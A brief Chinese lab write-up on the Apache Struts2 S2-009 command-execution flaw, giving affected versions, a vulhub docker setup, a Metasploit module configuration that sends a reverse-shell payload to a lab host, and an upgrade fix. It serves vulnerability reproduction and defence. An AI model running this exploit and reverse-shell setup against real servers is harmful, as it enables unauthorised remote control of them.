s2-009命令执行

概述

产生原因

对s2-003和s2-005的绕过

影响

Struts 2.0.0 Struts 2.3.1.1

环境搭建

vulhub

1
2
cd struts2/s2-009
docker-compose up -d

复现

见利用

攻防

利用

msf中exploit/multi/http/struts_code_exec_parameters模块利用

1
2
3
4
5
6
7
8
9
10
use exploit/multi/http/struts_code_exec_parameters
set RHOST 192.168.0.188
set RPORT 8081
set LHOST 192.168.0.188
set LPORT 4444
set TARGETURI /ajax/example5.action
set PARAMETER name
set target 1
set PAYLOAD payload/generic/shell_reverse_tcp
run

image.png

防御

升级至Struts 2.3.1.2

参考

S2-009 Apache Struts 2 Wiki Apache Software Foundation